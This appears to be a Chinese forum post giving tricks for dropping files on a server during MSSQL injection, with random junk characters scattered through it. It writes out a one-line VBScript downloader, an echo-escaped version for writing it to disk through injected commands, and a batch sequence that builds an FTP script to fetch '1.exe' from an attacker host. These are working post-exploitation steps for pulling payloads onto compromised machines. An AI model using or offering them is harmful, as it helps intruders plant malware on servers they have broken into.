mssql注射时不可以多次echo的解决办法

韩冰

<>解决办法:
" Q. ~( c3 A2 U8 t5 }) E0 ?1.iget.vbs一次写入
$ w. s  S% x7 Z, _在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写

Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2
8 w) _& I) e: E9 C1 M6 W  t. A% N& {' g
$ {# E$ Z9 T+ s, q4 d6 ^# ~这样我们可以一次echo成功,echo版本:
5 H' x& S  E& y
6 ?+ Q$ H& u8 Oecho Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 &gt;iget.vbs
1 F4 X9 z( `4 w5 J2 N
. S$ Y2 |9 X* o9 A  Q2 {- |
2.bat调用ftp脚本的写法(by envymask)

( h- T0 T" E1 m3 e& O" o+ M- }echo ftp&gt;1.vbs
echo open ip&gt;2.vbs
echo u&gt;3.vbs
7 _; C9 F1 Q5 E& x1 H# P( _echo s&gt;4.vbs
/ R% S  o; z/ S& ]echo binary&gt;5.vbs
echo get 1.exe&gt;6.vbs
echo bay&gt;7.vbs

copy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs
</P>